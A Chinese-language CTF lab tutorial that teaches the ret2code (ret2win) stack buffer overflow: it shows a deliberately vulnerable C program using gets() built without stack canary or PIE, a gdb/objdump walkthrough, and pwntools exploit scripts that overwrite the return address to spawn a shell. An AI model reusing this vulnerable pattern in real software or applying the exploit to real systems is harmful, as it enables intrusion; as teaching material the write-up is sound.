Lab 網址

前言

經過了前一天的 lab,相信大家對於 buffer overflow 的原理已經有了更多的理解。既然我們能覆蓋判斷式中的值,那麼是否也能覆蓋 return address,讓程式跳到其他位置呢?這正是我們今天要介紹的攻擊技術:ret2code,又稱為 ret2func 或 ret2win。

介紹

回顧之前的 stack 內容,當使用 gets 讀取 buf 字串時,可以持續覆蓋記憶體,甚至可能覆蓋到 rbpreturn address

image

例如,如果我們想跳到名為 shellwin 的函數,可以嘗試將 stack 覆蓋成如圖所示的狀態。當程式執行到 return address 時,它就會跳轉到我們覆蓋的位置。

image

雖然在現實情況下,程式中不太可能直接有開啟 shell 的 function,但在一些初學者的 CTF 題目中,這類控制程式執行流程(control flow)的題目仍然存在。在進入實作之前,我們要了解這種攻擊的前提條件是:需要關閉 PIE 保護,因為我們必須知道確切要跳轉的 function 位置。

Lab

查看以下程式原始碼:

 1#include<stdio.h>
 2
 3void shell(){
 4    system("/bin/sh");
 5}
 6
 7int main(){
 8    setvbuf(stdout, 0, 2, 0);
 9    setvbuf(stdin, 0, 2, 0);
10    setvbuf(stderr, 0, 2, 0);
11    char b[10];
12    puts("Send me a message: ");
13    gets(b);
14    return 0;
15}

使用以下指令進行編譯:

1gcc src/ret2code.c -o ./ret2code/share/ret2code -fno-stack-protector -no-pie

大家可以自行練習這道題目,或是繼續閱讀以下解題步驟。

writeup

首先,我們注意到程式中存在一個 shell() 函數,這個函數會直接開啟一個 shell。另外,程式關閉了 Canary 和 PIE 保護,並使用了危險的 gets 函數來讀取輸入,因此我們可以嘗試使用 ret2code 技術跳轉到某個位置。在實作 ret2code 之前,我們需要解決以下兩個問題:

  • 找出覆蓋到 return address 前所需的字元數。
  • 確定 shell() function 的地址。

首先,找到覆蓋到 return address 前所需的字元數。我們可以使用 objdump 來 disassemble 程式,觀察指令 lea rax,[rbp-0xa],這表示輸入的起始位置是 [rbp-0xa]。與前面不同的是,return address 前還有 8 個 bytes 的 rbp,所以需要填充的字元數是 0xa + 0x8 = 0x12,即 18 個字元。

image

另一種方法是使用 gdb 來驗證。我們先使用 gdb ./ret2code 啟動程式,然後在 main function 處設置中斷點,接著 r 執行程式,並 ni 逐步執行至輸入位置。此時,我們可以輸入有規律的字元,觀察覆蓋情況。例如輸入 AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ

image

繼續執行至 return address 處,可以看到 return address 已被覆蓋為 0x4747464646464545,即 EEFFFFGG。因此,可以確定需要填充的字元數是 AAAABBBBCCCCDDDDEE,共 18 個字元。

image

shell() 的 address 可以使用 objdumpgdb 來查找。使用 objdump,我們可以看到地址為 0x401156

image

使用 gdbinfo func 命令,也可以看到 shell() function 位於 0x401156

image

現在我們可以開始編寫 exploit。我們將測試 local 端程式,輸入 0xa + 8 個字元,並在後面加上要修改的 return address:

1from pwn import *
2
3r = process('../ret2code/share/ret2code')
4# r = remote('127.0.0.1', 10001)
5
6payload = b'A' * (0xa + 8) + p64(0x401156)
7
8r.sendlineafter('Send me a message: ', payload)
9r.interactive()

不過執行後會發生 SIGSEGV,此時可以使用 gdb 來追蹤問題。

image

將 exploit 加上 gdb.attach() 並使用 tmux 開啟另一個視窗。gdb.attach() 可以指定啟動時要執行的 gdb 指令,例如設置中斷點。

 1from pwn import *
 2
 3r = process('../ret2code/share/ret2code')
 4# r = remote('127.0.0.1', 10001)
 5
 6gdb.attach(r,'b main')
 7context.terminal = ['tmux', 'splitw', '-h']
 8
 9payload = b'A' * (0xa + 8) + p64(0x401156)
10
11r.sendlineafter('Send me a message: ', payload)
12r.interactive()

tmux 中執行 exploit,並讓執行位置回到 main function。

image

此時發現程式確實跳到 shell(),但遇到問題:movaps xmmword ptr [rsp + 0x50], xmm0,提示 not aligned to 16 bytes。這個問題可以參考這篇文章,簡單來說,某些 libc 版本要求 rsp 的值必須是 16 的倍數。我們可以嘗試跳轉到前一點的位置。

image

例如,跳轉到 0x401157 或其他位置進行測試。

image

將 exploit 改為跳轉到 0x401157,並移除剛剛的 gdb 部分。

1from pwn import *
2
3r = process('../ret2code/share/ret2code')
4# r = remote('127.0.0.1', 10001)
5
6payload = b'A' * (0xa + 8) + p64(0x401157)
7
8r.sendlineafter('Send me a message: ', payload)
9r.interactive()

成功取得 shell!

image

接下來將題目架設起來,並連接到遠端。

完整 exploit:

1from pwn import *
2
3# r = process('../ret2code/share/ret2code')
4r = remote('127.0.0.1', 10001)
5
6payload = b'A' * (0xa + 8) + p64(0x401157)
7
8r.sendlineafter('Send me a message: ', payload)
9r.interactive()

solved!!

image